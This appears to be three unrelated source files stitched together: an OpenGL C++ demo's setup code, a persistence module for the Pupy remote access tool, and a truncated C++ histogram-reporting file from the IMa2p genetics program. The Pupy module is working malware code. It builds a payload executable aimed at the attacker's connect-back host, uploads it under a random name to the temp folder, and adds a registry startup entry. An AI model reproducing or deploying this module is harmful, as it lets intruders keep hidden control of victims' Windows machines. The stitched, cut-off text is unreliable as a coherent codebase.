      g_shaderState.reset(new ShaderState(g_shaderFiles[0], g_shaderFiles[1]));
}

static void initGeometry() {
  initGround();
  initCubes();
}

static void loadTexture(GLuint texHandle, const char *ppmFilename) {
  int texWidth, texHeight;
  vector<PackedPixel> pixData;

  ppmRead(ppmFilename, texWidth, texHeight, pixData);

  glActiveTexture(GL_TEXTURE0);
  glBindTexture(GL_TEXTURE_2D, texHandle);
  glTexImage2D(GL_TEXTURE_2D, 0, g_Gl2Compatible ? GL_RGB : GL_SRGB, texWidth, texHeight,
               0, GL_RGB, GL_UNSIGNED_BYTE, &pixData[0]);
  checkGlErrors();
}

static void initTextures() {
  g_tex0.reset(new GlTexture());
  g_tex1.reset(new GlTexture());

  loadTexture(*g_tex0, "checker256.ppm");
  loadTexture(*g_tex1, "roughbricks.ppm");

  glActiveTexture(GL_TEXTURE0);
  glBindTexture(GL_TEXTURE_2D, *g_tex0);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);

  glActiveTexture(GL_TEXTURE1);
  glBindTexture(GL_TEXTURE_2D, *g_tex1);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);
}

int main(int argc, char * argv[]) {
  try {
    initGlutState(argc,argv);

    glewInit(); // load the OpenGL extensions

    cout << (g_Gl2Compatible ? "Will use OpenGL 2.x / GLSL 1.0" : "Will use OpenGL 3.x / GLSL 1.3") << endl;
    if ((!g_Gl2Compatible) && !GLEW_VERSION_3_0)
      throw runtime_error("Error: card/driver does not support OpenGL Shading Language v1.3");
    else if (g_Gl2Compatible && !GLEW_VERSION_2_0)
      throw runtime_error("Error: card/driver does not support OpenGL Shading Language v1.0");

    initGLState();
    initShaders();
    initGeometry();
    initTextures();

    glutMainLoop();
    return 0;
  }
  catch (const runtime_error& e) {
    cout << "Exception caught: " << e.what() << endl;
    return -1;
  }
}


text:
from pupylib.PupyModule import *
import random
import pupygen
import os.path
import string

__class_name__="PersistenceModule"

class PersistenceModule(PupyModule):
	""" Enables persistence via registry keys """
	def init_argparse(self):
		self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
		self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')

	@windows_only
	def is_compatible(self):
		pass

	def run(self, args):
		if args.method=="registry":
			self.client.load_package("pupwinutils.persistence")

			#retrieving conn info
			res=self.client.conn.modules['pupy'].get_connect_back_host()
			host, port=res.rsplit(':',1)

			self.info("generating exe ...")
			#generating exe
			exebuff=pupygen.get_edit_pupyx86_exe(host, port)

			remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
			self.info("uploading to %s ..."%remote_path)
			#uploading
			rf=self.client.conn.builtin.open(remote_path, "wb")
			chunk_size=16000
			pos=0
			while True:
				buf=exebuff[pos:pos+chunk_size]
				if not buf:
					break
				rf.write(buf)
				pos+=chunk_size
			rf.close()
			self.success("upload successful")

			#adding persistency
			self.info("adding to registry ...")
			self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
			self.info("registry key added")

			self.success("persistence added !")
		else:
			self.error("not implemented")


text:
/*IMa2p 2009-2015 Jody Hey, Rasmus Nielsen, Sang Chul Choi, Vitor Sousa, Janeen Pisciotta, and Arun Sethuraman */
#undef GLOBVARS
#include "imamp.hpp"

struct histprintstructure
{
  char str[PARAMSTRLEN];
  struct plotpoint *xy;
  double yscaleadjust;
  double xscaleadjust;
  int before;
  int after;
};

static struct histprintstructure *hp;
static double scaleumean, timeumean;
static double *smthmaxvals;
static int smthmax_firstu;  /* 7/27/2012  JH  added this to fix a bug in the calculation of the geometric mean of mutation scalars for a subset of the loci */
static int numstepsrecorded;
static char histfstr[40];
static struct plotpoint **popmigxy;

/******* LOCAL FUNCTIONS ***********/
static char *histformatdouble (double pval);
static void fillvec (void);     //fills up the marginal distribution estimates
static double multi_t_prior_func (double x, double y, double tmax, int ti,
                                  int numt);
//static void writehistogram (FILE * outfile, int numhistprint);
static TiXmlElement *writehistogram (FILE * outfile, int numhistprint, int dosmooth, const char * printstring); //JK 3/10/16: change return type, add printstring arg
static int getdemogscale (double scaleumeaninput);
static void prepare_splittime_and_mutation_rate_histograms (int
                                                            *numhistprint);
static void prepare_parameter_histograms (int *numhistprint);
void prepare_demographic_scale_histograms (int *numhistprint,
                                           double generationtime);
static void prepare_tmrca_histograms (int *numhistprint);
static TiXmlElement *print_tprior_divide_histograms (FILE * outfile,
                                            int *numhistprint); //JK 3/10/16: change return type?
static void free_print_histogram (void);
static void init_print_histogram (int maxnumhist);

static void prepare_migration_histograms (int locusrow, int nummigdirs);

char *
histformatdouble (double pval)
{
  histfstr[0] = '\0';
  if (pval < -1e9 || pval > 1e9)
  {
    sprintf (histfstr, "%-9.0lg", pval);
    return &histfstr[0];
  }
  if (fabs (pval) < 1e-4)
  {
    sprintf (histfstr, "%-9.8lf", pval);
    if (strcmp("0.00000000",histfstr)==0)
      strcpy(histfstr,"0.0");
  }
  else if (fabs (pval) < 1e-3)
    sprintf (histfstr, "%-9.7lf", pval);
  else if (fabs (pval) < 1e-2)
    sprintf (histfstr, "%-9.6lf", pval);
  else if (fabs (pval) < 1e-1)
    sprintf (histfstr, "%-9.5lf", pval);
  else if (fabs (pval) < 1e-0)
    sprintf (histfstr, "%-9.4lf", pval);
  else if (fabs (pval) < 1e1)
    sprintf (histfstr, "%-9.3lf", pval);
  else if (fabs (pval) < 1e2)
    sprintf (histfstr, "%-9.2lf", pval);
  else if (fabs (pval) < 1e3)
    sprintf (histfstr, "%-9.1lf", pval);
  else
    sprintf (histfstr, "%-9.0lf", pval);

  return &histfstr[0];
}                               //histformatdouble

void
fillvec (void)
{
  int i, j, p;
  for (j = 0; j < GRIDSIZE; j++)
  {
    for (i = 0, p = 0; i < numpopsizeparams; i++, p++)
    {
      itheta[i].xy[j].y = margincalc ((double) itheta[i].xy[j].x, 0.0, p, 0);
    }
    for (i = 0; i < nummigrateparams; i++, p++)
    {
      if (imig[i].pr.max > MPRIORMIN)
      {
        imig[i].xy[j].y = margincalc ((double) imig[i].xy[j].x, 0.0, p, 0);
      }
    }
  }
}                               /* fillvec */

double
multi_t_prior_func (double x, double y, double tmax, int ti, int numt)
{
  double priorprob;

  priorprob =
    exp (logfact[numt] - logfact[ti] - logfact[numt - ti - 1] +
         (numt - ti - 1) * log (tmax - x) + ti * log (x) - numt * log (tmax));

  if (priorprob < 0)
    IM_err(IMERR_MULTITPRIOR,"beta distribution calculation for prior doesn't make sense %lf",priorprob);

  return y / priorprob;
}                               // multi_t_prior_func

/* notes on writehistogram()
Loop thru numparamsh
Main loop:
	Print summaries:
		string
		Minbin lowest x bin with nonzero y val
		Maxbin highest x bin with nonzero y val
		HiPt  x bin with highest y val
			also while identifying HiPt, calculate the sum of x, sum of y and sum of x*y
		HiSmth - x bin with highest y val on a smoothed curve
			also, if mode == 0 identify the peak and save this in uscaleml[] to be used for when mode==1
		Mean  calculated using x sum and y sum
		95Lo  calculate lower 95% conf limit
		95Hi  calculate higher 95% conf limit

		Build a sorted list of smoothed probablities use to calculate HPD90Lo and HPD90Hi
		HPD90Lo
		HPD90Hi

	Print Histograms
		print row of parameter strings  and 'P'
		print row of max values  'HiPt'

		print GRIDSIZE rows of x and y values
			for y values,  multiply them by denscale[]
		print before and after values, and sum of likelihoods
Free all the pointers that were set up at the beginning
*/
//JK 3/10/16: Change return type
TiXmlElement *
writehistogram (FILE * outfile, int numhistprint, int dosmooth, const char * printstring)
{
  double *xysum;
  double *ysum;
  double *xsum;
  double *hpdlo, *hpdhi;
  char *hpdchar1,*hpdchar2;
  double *smthprobvals;
  int i, j, k, imax;
  double maxval;
  double sum, smoothsum, smoothdenom, smoothterm, tempsum;
  int cellnum, smoothcellnum = 10;
  double hpdmax, hpdmin;
  struct hlists hlist[GRIDSIZE];
  // can set to 0.95  or 0.9 or whatever
  char  hpdstr[3] = "95";  // c++ will append null terminator during init
  double hpdcutoff = 0.95;
  double hpdboundarycheck = 0.05; // use to see if probability at peak of curve is much higher than probability at boundaries
  double vminhold;

  xysum = static_cast<double *>
          (calloc ((size_t) numhistprint, sizeof (double)));
  xsum = static_cast<double *>
          (calloc ((size_t) numhistprint, sizeof (double)));
  ysum = static_cast<double *>
          (calloc ((size_t) numhistprint, sizeof (double)));
  hpdlo = static_cast<double *>
          (calloc ((size_t) numhistprint, sizeof (double)));
  hpdhi = static_cast<double *>
          (calloc ((size_t) numhistprint, sizeof (double)));
  hpdchar1 = static_cast<char *>
             (calloc ((size_t) numhistprint + 1, sizeof (char)));
  hpdchar2 = static_cast<char *>
             (calloc ((size_t) numhistprint + 1, sizeof (char)));
  /* CR: 110512.1
   * Change malloc to calloc so that memory would be initialilzed.
   * before being used.
   */
  smthprobvals = static_cast<double *>
                 (calloc ((size_t) numhistprint, sizeof (double)));
  //JK: declare xml histogram node, summary node, stringstream
  TiXmlElement *histogram = new TiXmlElement("Histogram");
  TiXmlElement *row1 = new TiXmlElement("Summaries");
  row1->SetAttribute("description","Summaries of all parameters");
  std::stringstream s("");

  FP " Summaries\n\tValue  ");
  for (j = 0; j < numhistprint; j++)
  {
    FP "\t %s", hp[j].str);
    s << hp[j].str << "  ";
  }
  //JK: declare minimum bun row and values, link previous row, clear stringstream
  TiXmlText *text = new TiXmlText(s.str().c_str());
  row1->LinkEndChild(text);
  histogram->SetAttribute("description",printstring);
  histogram->LinkEndChild(row1);
  TiXmlElement *row2 = new TiXmlElement("Minbin");
  row2->SetAttribute("description","Minimum bin");
  s.str("");

  FP "\n\tMinbin ");
  for (j = 0; j < numhistprint; j++)
  {
    i = 0;
    while (i < GRIDSIZE - 1 && hp[j].yscaleadjust * hp[j].xy[i].y <= 0)
    {
      i++;
    }
    FP "\t%s", histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x));
    s << histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x);
  }
//JK: Link minbin to node, make row 3 and attribute
  TiXmlText *text1 = new TiXmlText(s.str().c_str());
  row2->LinkEndChild(text1);
  histogram->LinkEndChild(row2);
  TiXmlElement *row3 = new TiXmlElement("Maxbin");
  row3->SetAttribute("description","Maximum bin");
  s.str("");

  FP "\n\tMaxbin");
  for (j = 0; j < numhistprint; j++)
  {
    i = GRIDSIZE - 1;
    while (i > 0 && hp[j].yscaleadjust * hp[j].xy[i].y <= 0)
    {
      i--;
    }
    FP "\t%s", histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x));
    s << histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x);
  }
//JK: Link previous row, create nodes for next row
  TiXmlText *text2 = new TiXmlText(s.str().c_str());
  row3->LinkEndChild(text2);
  histogram->LinkEndChild(row3);
  TiXmlElement *row4 = new TiXmlElement("HiPt");
  row4->SetAttribute("description","Highest Point");
  s.str("");

  FP "\n\tHiPt  ");
  for (j = 0; j < numhistprint; j++)
  {
    xysum[j] = 0;
    xsum[j] = 0;
    maxval = -1;
    imax = 0;
    for (i = 0; i < GRIDSIZE; i++)
    {
      xysum[j] += hp[j].xscaleadjust * hp[j].xy[i].x * hp[j].yscaleadjust * hp[j].xy[i].y;
      xsum[j] += hp[j].xscaleadjust * hp[j].xy[i].x;
      ysum[j] += hp[j].yscaleadjust * hp[j].xy[i].y;
      if (maxval < hp[j].yscaleadjust * hp[j].xy[i].y)
      {
        maxval = hp[j].yscaleadjust * hp[j].xy[i].y;
        imax = i;
      }
    }
    FP "\t%s", histformatdouble (hp[j].xscaleadjust * hp[j].xy[imax].x));
    JK: s << histformatdouble (hp[j].xscaleadjust * hp[j].xy[imax].x) << "  ";

  }
//JK: Link text and row
  TiXmlText *text5 = new TiXmlText(s.str().c_str());
  row4->LinkEndChild(text5);
  histogram->LinkEndChild(row4);
  s.str("");
  if (dosmooth)
  {
    FP "\n\tHiSmth");
    //JK: Start row, set attribute, clear ss
    TiXmlElement *row5 = new TiXmlElement("HiSmth");
    row5->SetAttribute("description","Highest point after smoothing");

    for (j = 0; j < numhistprint; j++)
    {
      maxval = -1;
      imax = 0;
      i = 0;
      for (; i < GRIDSIZE; i++)
      {
        cellnum = IMIN (smoothcellnum, 2 * i);
        cellnum = IMIN (cellnum, 2 * (GRIDSIZE - 1 - i));
        k = IMAX (0, i - (cellnum / 2));
        smoothdenom = 0;
        smoothsum = 0;
        for (; k <= IMIN (GRIDSIZE - 1, i + (cellnum / 2)); k++)
        {
          smoothterm = 1.0 / (0.5 + abs (k - i));
          smoothsum += hp[j].xy[k].y * smoothterm;
          smoothdenom += smoothterm;
        }
        smoothsum /= smoothdenom;
        if (maxval < smoothsum)
        {
          maxval = smoothsum;
          smthprobvals[j] = maxval;
          imax = i;
        }
      }
      smthmaxvals[j] = hp[j].xscaleadjust * hp[j].xy[imax].x;
      FP "\t%s", histformatdouble (smthmaxvals[j]));
      s << histformatdouble (smthmaxvals[j]) << "  ";
    }
//JK: link to histogram
    TiXmlText *text6 = new TiXmlText(s.str().c_str());
    row5->LinkEndChild(text6);
    histogram->LinkEndChild(row5);

  }
//JK: make node for next row, set attrbute, clear ss
  TiXmlElement *row6 = new TiXmlElement("Mean");
  row6->SetAttribute("description","Mean value");
  s.str("");

  FP "\n\tMean  ");
  for (j = 0; j < numhistprint; j++)
  {
    FP "\t%s", histformatdouble (xysum[j] / ysum[j]));
    s << histformatdouble (xysum[j] / ysum[j]) << "  ";
  }
//JK: Link previous row to hist, init next row, clear ss
  TiXmlText *text7 = new TiXmlText(s.str().c_str());
  row6->LinkEndChild(text7);
  histogram->LinkEndChild(row6);
  TiXmlElement *row7 = new TiXmlElement("_95Lo");
  row7->SetAttribute("description","Lowest 95 percent");
  s.str("");

  FP "\n\t95%%Lo  ");
  for (j = 0; j < numhistprint; j++)
  {
    i = 0;
    sum = 0;
    while ((sum + hp[j].yscaleadjust * hp[j].xy[i].y) / ysum[j] <= 0.025
           && i < GRIDSIZE)
    {
      sum += hp[j].yscaleadjust * hp[j].xy[i].y;
      i++;
    }
    FP "\t%s", histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x));
    s << histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x) << "  ";
  }
//JK: Link prev row, init next row, reset ss
  TiXmlText *text8 = new TiXmlText(s.str().c_str());
  row7->LinkEndChild(text8);
  histogram->LinkEndChild(row7);
  TiXmlElement *row8 = new TiXmlElement("_95Hi");
  row8->SetAttribute("description","Highest 95 percent");
  s.str("");
  FP "\n\t95%%Hi  ");
  for (j = 0; j < numhistprint; j++)
  {
    i = GRIDSIZE - 1;
    sum = 0;
    while ((sum + hp[j].yscaleadjust * hp[j].xy[i].y) / ysum[j] <=
           0.025 && i > 0)
    {
      sum += hp[j].yscaleadjust * hp[j].xy[i].y;
      i--;
    }
    FP "\t%s", histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x));
    s << histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x) << "  ";
  }
//JK: Link prev row
  TiXmlText *text9 = new TiXmlText(s.str().c_str());
  row8->LinkEndChild(text9);
  histogram->LinkEndChild(row8);
  s.str("");

  /* print out Highest Posterior Density intervals  - first, smooth the curve
  and make a copy of the curve in hlist */
  smoothcellnum = 30;
  for (j = 0; j < numhistprint; j++)
  {
    hpdchar1[j] = ' ';
    hpdchar2[j] = ' ';
    maxval = -1;
    i = 0;
    tempsum = 0;
    for (; i < GRIDSIZE; i++)
    {
      cellnum = IMIN (smoothcellnum, 2 * i);
      cellnum = IMIN (cellnum, 2 * (GRIDSIZE - 1 - i));
      k = IMAX (0, i - (cellnum / 2));
      smoothdenom = 0;
      smoothsum = 0;
      for (; k <= IMIN (GRIDSIZE - 1, i + (cellnum / 2)); k++)
      {
        smoothterm = 1.0 / (0.5 + abs (k - i));
        smoothsum += hp[j].xy[k].y * smoothterm;
        smoothdenom += smoothterm;
      }
      hlist[i].v = hp[j].xscaleadjust * hp[j].xy[i].x;
      smoothsum /= smoothdenom;
      tempsum += smoothsum;
      hlist[i].p = smoothsum;
    }
    vminhold = hlist[0].v;
/* short hlist by probability from low to high
  move up the list from the bottom and accumulate a sum
  until the sum = hpdcutoff of the total.
  while moving up the list, find the values associated with the
  probability that pushes the sum over hpdcutoff
*/
    shellhist (&(hlist[0]), GRIDSIZE);
    sum = 0;
    hpdmax = -1;
    hpdmin = 1e10;
    i = GRIDSIZE - 1;
    sum = hlist[i].p;
    while (i >= 0 && sum <= (hpdcutoff * tempsum))
    {
      if (i > 0 && hlist[i].p < hlist[i - 1].p)
        IM_err(IMERR_HPD95,"problem calculating HPD interval",i,hlist[i].p, hlist[i-1].p);
      if (hlist[i].v > hpdmax)
      {
        hpdmax = hlist[i].v;
      }
      if (hlist[i].v < hpdmin)
      {
        hpdmin = hlist[i].v;
      }
      i--;
      sum += hlist[i].p;
    }
// set the lower bound to zero if the found lower bound is at the minimum possible value of the hpd histogram
// this will break if we start using priors with nonzero lower bounds
    if (hpdmin <= vminhold)
      hpdlo[j] = 0.0;
    else
      hpdlo[j] = hpdmin;
    hpdhi[j] = hpdmax;
    while (i > 0 && (hlist[i].v < hpdmin || hlist[i].v > hpdmax))
      i--;
    if (i > 0)
    {
      hpdchar2[j] = '?';
    }

    if ((smthprobvals[j] * hpdboundarycheck < hp[j].xy[0].y) && (smthprobvals[j] * hpdboundarycheck < hp[j].xy[GRIDSIZE-1].y))
    {
      hpdchar1[j] = '#';
    }
  }
//JK: Create next row/attribute
TiXmlElement *row9 = new TiXmlElement("HPDLo");
  row9->SetAttribute("description","HPD low");

  FP "\n\tHPD%sLo",hpdstr);
  for (j = 0; j < numhistprint; j++)
  {
    FP "\t%s%c%c", histformatdouble (hpdlo[j]), hpdchar1[j], hpdchar2[j]);
    s << histformatdouble (hpdlo[j]) << hpdchar1[j] << hpdchar2[j] << "  ";
  }
//JK: Link prev, init next, clear ss
  TiXmlText *text10 = new TiXmlText(s.str().c_str());
  row9->LinkEndChild(text10);
  histogram->LinkEndChild(row9);
  TiXmlElement *row10 = new TiXmlElement("HPDHi");
  row10->SetAttribute("description","HPD High");
  s.str("");

  FP "\n\tHPD%sHi",hpdstr);
  for (j = 0; j < numhistprint; j++)
  {
    FP "\t%s%c%c", histformatdouble (hpdhi[j]), hpdchar1[j],hpdchar2[j]);
    s << histformatdouble(hpdhi[j]) << hpdchar1[j] << hpdchar2[j] << "  ";
  }
//JK: link prev row, init next row, clear ss
  TiXmlText *text11 = new TiXmlText(s.str().c_str());
  row10->LinkEndChild(text11);
  histogram->LinkEndChild(row10);
  TiXmlElement *row11 = new TiXmlElement("Parameter");
  row11->SetAttribute("description", "Parameter");
  s.str("");

  FP "\n");
  FP "\n");
  FP "\tParameter");
  for (j = 0; j < numhistprint; j++) {
    FP "\t%s\tP", hp[j].str);
    s << hp[j].str << "  ";
  }
//JK:
//link prev row, init next row
  TiXmlText *text12 = new TiXmlText(s.str().c_str());
  row11->LinkEndChild(text12);
  histogram->LinkEndChild(row11);

  TiXmlElement *row12 = new TiXmlElement("HiPt");
  row12->SetAttribute("description","HighPt");
  s.str("");

  FP "\n\tHiPt");
  for (j = 0; j < numhistprint; j++)
  {
    maxval = -1;
    imax = 0;
    for (i = 0; i < GRIDSIZE; i++)
    {
      if (maxval < hp[j].yscaleadjust * hp[j].xy[i].y)
      {
        maxval = hp[j].yscaleadjust * hp[j].xy[i].y;
        imax = i;
      }
    }
    FP "\t%s", histformatdouble (hp[j].xscaleadjust * hp[j].xy[imax].x));
    s << histformatdouble (hp[j].xscaleadjust * hp[j].xy[imax].x) << "  ";
    FP "\t%s", histformatdouble (hp[j].yscaleadjust * hp[j].xy[imax].y));
    s << histformatdouble (hp[j].yscaleadjust * hp[j].xy[imax].y) << "  ";
  }
  FP "\n\n");
//JK: link prev row, create data node
  TiXmlText *text13 = new TiXmlText(s.str().c_str());
  row12->LinkEndChild(text13);
  histogram->LinkEndChild(row12);
  TiXmlElement *data = new TiXmlElement("Data");

  for (i = 0; i < GRIDSIZE; i++)
  {
//JK: init row (does it need locus number?)
    TiXmlElement *row = new TiXmlElement("Row");
    s.str("");

    FP "\t%4d", i);
    for (j = 0; j < numhistprint; j++)
    {
      FP "\t%s", histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x));
      s << histformatdouble (hp[j].xscaleadjust * hp[j].xy[i].x) << "  ";
      FP "\t%s", histformatdouble (hp[j].yscaleadjust * hp[j].xy[i].y));
      s << histformatdouble (hp[j].yscaleadjust * hp[j].xy[i].y) << "  ";
    }
    FP "\n");
//JK: link text to row, row to data
    TiXmlText *text14 = new TiXmlText(s.str().c_str());
    row->LinkEndChild(text14);
    data->LinkEndChild(row);

  }
//JK: link data, create summary row
  histogram->LinkEndChild(data);
  TiXmlElement *row13 = new TiXmlElement("SumP");
  row13->SetAttribute("description", "Sum P");
  s.str("");

  FP " SumP\t");
  for (j = 0; j < numhistprint; j++) {
    FP "\t\t%s", histformatdouble (ysum[j]));
    s <<  histformatdouble(ysum[j]) << "  ";
  }
  FP "\n");
//JK: Link prev row, init next, reset ss
  TiXmlText *text15 = new TiXmlText(s.str().c_str());
  row13->LinkEndChild(text15);
  histogram->LinkEndChild(row13);
  TiXmlElement *row14 = new TiXmlElement("Before");
  row14->SetAttribute("description","Before");
  s.str("");

  FP " Before\t");
  for (j = 0; j < numhistprint; j++) {
    FP "\t\t%s", histformatdouble (hp[j].before * hp[j].yscaleadjust));
    s  << histformatdouble (hp[j].before * hp[j].yscaleadjust) <<  "  ";
  }
//link, init, reset
  TiXmlText *text16 = new TiXmlText(s.str().c_str());
  row14->LinkEndChild(text16);
  histogram->LinkEndChild(row14);

  TiXmlElement *row15 = new TiXmlElement("After");
  row15->SetAttribute("description","After");
  s.str("");

  FP "\n");
  FP " After\t");
  for (j = 0; j < numhistprint; j++) {
    FP "\t\t%s", histformatdouble (hp[j].after * hp[j].yscaleadjust));
    s << histformatdouble (hp[j].after * hp[j].yscaleadjust) << "  ";
  }
//Link last row
  TiXmlText *text17 = new TiXmlText(s.str().c_str());
  row15->LinkEndChild(text17);
  histogram->LinkEndChild(row15);

  FP "\n");
  XFREE (xysum);
  XFREE (xsum);
  XFREE (ysum);
  XFREE (hpdlo);
  XFREE (hpdhi);
  XFREE (hpdchar1);
  XFREE (hpdchar2);
  XFREE (smthprobvals);
  return histogram;
}                               /* writehistogram */

int getdemogscale (double scaleumeaninput)
{
  int i, cui, ui, li;

  if (runoptions[LOADRUN])
  {
    if (scaleumeaninput <= 0)
    {
      return 0;
    }
    else
    {
      scaleumean = scaleumeaninput;
      timeumean = 0;
      for (li = 0, cui = 0; li < nloci; li++)
        for (i = 0; i < L[li].nlinked; i++)
          if (L[li].uperyear_vals[i] > 0)
          {
            timeumean += log (L[li].uperyear_vals[i]);
            cui++;
          }
      assert (cui > 0);
      timeumean = exp (timeumean / cui);
    }
  }
  else
  {
    scaleumean = 0;
    timeumean = 0;
    for (li = 0, ui = smthmax_firstu , cui = 0; li < nloci; li++) /* 7/27/2012  JH  replaced ui = 0 with ui = smthmax_firstu. This to fix a bug in the calculation of the geometric mean of mutation scalars for a subset of the loci */
      for (i = 0; i < L[li].nlinked; i++, ui++)
      {
        if (L[li].uperyear_vals[i] > 0)
        {
          timeumean += log (L[li].uperyear_vals[i]);
          if (nurates > 1)
            scaleumean += log (smthmaxvals[ui]);
          cui++;
        }
      }
    timeumean = exp (timeumean / cui);
    if (scaleumeaninput > 0)
    {
      scaleumean = scaleumeaninput;
    }
    else
    {
      assert (cui);
      scaleumean = exp (scaleumean / cui);
    }
  }
  return cui;
}                               //getdemogscale

void prepare_splittime_and_mutation_rate_histograms (int *numhistprint)
{
  int i, ui, li;
  for (i = 0, *numhistprint = 0; i < numsplittimes; i++, (*numhistprint)++)
  {
    strcpy (hp[*numhistprint].str, T[i].str);
    hp[*numhistprint].xy = T[i].v->xy;
    /* use full range,  assumming minimum t is zero,  for this purpose */
    hp[*numhistprint].yscaleadjust =  (GRIDSIZE / (T[i].pr.max)) / numstepsrecorded;
    hp[*numhistprint].xscaleadjust = 1;
    hp[*numhistprint].before = T[i].v->beforemin;
    hp[*numhistprint].after = T[i].v->aftermax;
  }
  if (runoptions[LOADRUN] == 0 && (nurates > 1))
  {
    smthmax_firstu = *numhistprint;  /* 7/27/2012  JH  added this to fix a bug in the calculation of the geometric mean of mutation scalars for a subset of the loci */
    for (li = 0; li < nloci; li++)
      for (ui = 0; ui < L[li].nlinked; ui++)
      {
        assert (ui < L[li].nlinked);
        strcpy (hp[*numhistprint].str, L[li].u_rec[ui].str);
        hp[*numhistprint].xy = L[li].u_rec[ui].v->xy;
        hp[*numhistprint].yscaleadjust = (GRIDSIZE / (exp (L[li].u_rec[ui].pr.max) - exp (L[li].u_rec[ui].pr.min))) / numstepsrecorded;
        hp[*numhistprint].before = L[li].u_rec[ui].v->beforemin;
        hp[*numhistprint].after = L[li].u_rec[ui].v->aftermax;
        hp[*numhistprint].xscaleadjust = 1;
        (*numhistprint)++;
      }
    for (li = 0; li < nloci; li++)
      for (ui = 0; ui < L[li].nlinked; ui++)
        if (L[li].umodel[0] == HKY)
        {
          assert (ui < L[li].nlinked);
          strcpy (hp[*numhistprint].str, L[li].kappa_rec->str);
          hp[*numhistprint].xy = L[li].kappa_rec->v->xy;
          hp[*numhistprint].yscaleadjust = (GRIDSIZE / (L[li].kappa_rec->pr.max - L[li].kappa_rec->pr.min)) / numstepsrecorded;
          hp[*numhistprint].before = L[li].kappa_rec->v->beforemin;
          hp[*numhistprint].after = L[li].kappa_rec->v->aftermax;
          hp[*numhistprint].xscaleadjust = 1;
          (*numhistprint)++;
        }
  }
}                               // prepare_splittime_and_mutation_rate_histograms(int *numhistprint)

void prepare_parameter_histograms (int *numhistprint)
{
  int i;
  fillvec ();
  *numhistprint = 0;
  for (i = 0; i < numpopsizeparams; i++)
  {
    hp[*numhistprint].xy = itheta[i].xy;
    strcpy (hp[*numhistprint].str, itheta[i].str);
    hp[*numhistprint].yscaleadjust = 1;
    hp[*numhistprint].xscaleadjust = 1;
    hp[*numhistprint].before = 0;
    hp[*numhistprint].after = 0;
    (*numhistprint)++;
  }
  for (i = 0; i < nummigrateparams; i++)
    if (imig[i].pr.max > MPRIORMIN)
    {
      hp[*numhistprint].xy = imig[i].xy;
      strcpy (hp[*numhistprint].str, imig[i].str);
      hp[*numhistprint].yscaleadjust = 1;
      hp[*numhistprint].xscaleadjust = 1;
      hp[*numhistprint].before = 0;
      hp[*numhistprint].after = 0;
      (*numhistprint)++;
    }
}                               //void prepare_parameter_histograms(int *numhistprint);

void prepare_demographic_scale_histograms (int *numhistprint,
                                           double generationtime)
{
  int i;
  for (i = 0, *numhistprint = 0; i < numsplittimes; i++, (*numhistprint)++)
  {
    strcpy (hp[*numhistprint].str, T[i].str);

    hp[*numhistprint].xy = T[i].v->xy;
    /* use full range,  assumming minimum t is zero,  for this purpose */
    hp[*numhistprint].yscaleadjust = (GRIDSIZE / (T[i].pr.max)) / numstepsrecorded;
    hp[*numhistprint].xscaleadjust = scaleumean / timeumean;
    hp[*numhistprint].before = T[i].v->beforemin;
    hp[*numhistprint].after = T[i].v->aftermax;
  }

  for (i = 0; i < numpopsizeparams; i++)
  {
    hp[*numhistprint].xy = itheta[i].xy;
    strcpy (hp[*numhistprint].str, itheta[i].str);
    hp[*numhistprint].yscaleadjust = 1;
    hp[*numhistprint].xscaleadjust =
      scaleumean / (4 * timeumean * generationtime);
    hp[*numhistprint].before = 0;
    hp[*numhistprint].after = 0;
    (*numhistprint)++;
  }
}                               //void prepare_demographic_scale_histograms(int *numhistprint);

void prepare_tmrca_histograms (int *numhistprint)
{
  int li;
  for (*numhistprint = 0, li = 0; li < nloci; li++)
  {
    hp[*numhistprint].xy = L[li].g_rec->v->xy;
    strcpy (hp[*numhistprint].str, L[li].g_rec->v->str);
    hp[*numhistprint].yscaleadjust = 1 / (double) numstepsrecorded;
    hp[*numhistprint].xscaleadjust = 1;
    hp[*numhistprint].before = 0;
    hp[*numhistprint].after = 0;
    (*numhistprint)++;
  }

}                               //void prepare_tmrca_histograms(int *numhistprint);
//JK: change return type
TiXmlElement *print_tprior_divide_histograms (FILE * outfile, int *numhistprint)
{
  struct plotpoint **t_prior_divide;
  int i, j;

  t_prior_divide = static_cast<plotpoint **> (malloc (numsplittimes * sizeof (struct plotpoint *)));
  for (i = 0; i < numsplittimes; i++)
  {
    t_prior_divide[i] = static_cast<plotpoint *> (malloc (GRIDSIZE * sizeof (struct plotpoint)));
    for (j = 0; j < GRIDSIZE; j++)
    {
      t_prior_divide[i][j].x = T[i].v->xy[j].x;
      t_prior_divide[i][j].y =
        multi_t_prior_func (T[i].v->xy[j].x, T[i].v->xy[j].y,
                            T[i].pr.max, i, numsplittimes);
    }

  }
  for (i = 0, *numhistprint = 0; i < numsplittimes; i++, (*numhistprint)++)
  {
    strcpy (hp[*numhistprint].str, T[i].str);
    hp[*numhistprint].xy = t_prior_divide[i];
    /* use full range,  assumming minimum t is zero,  for this purpose */
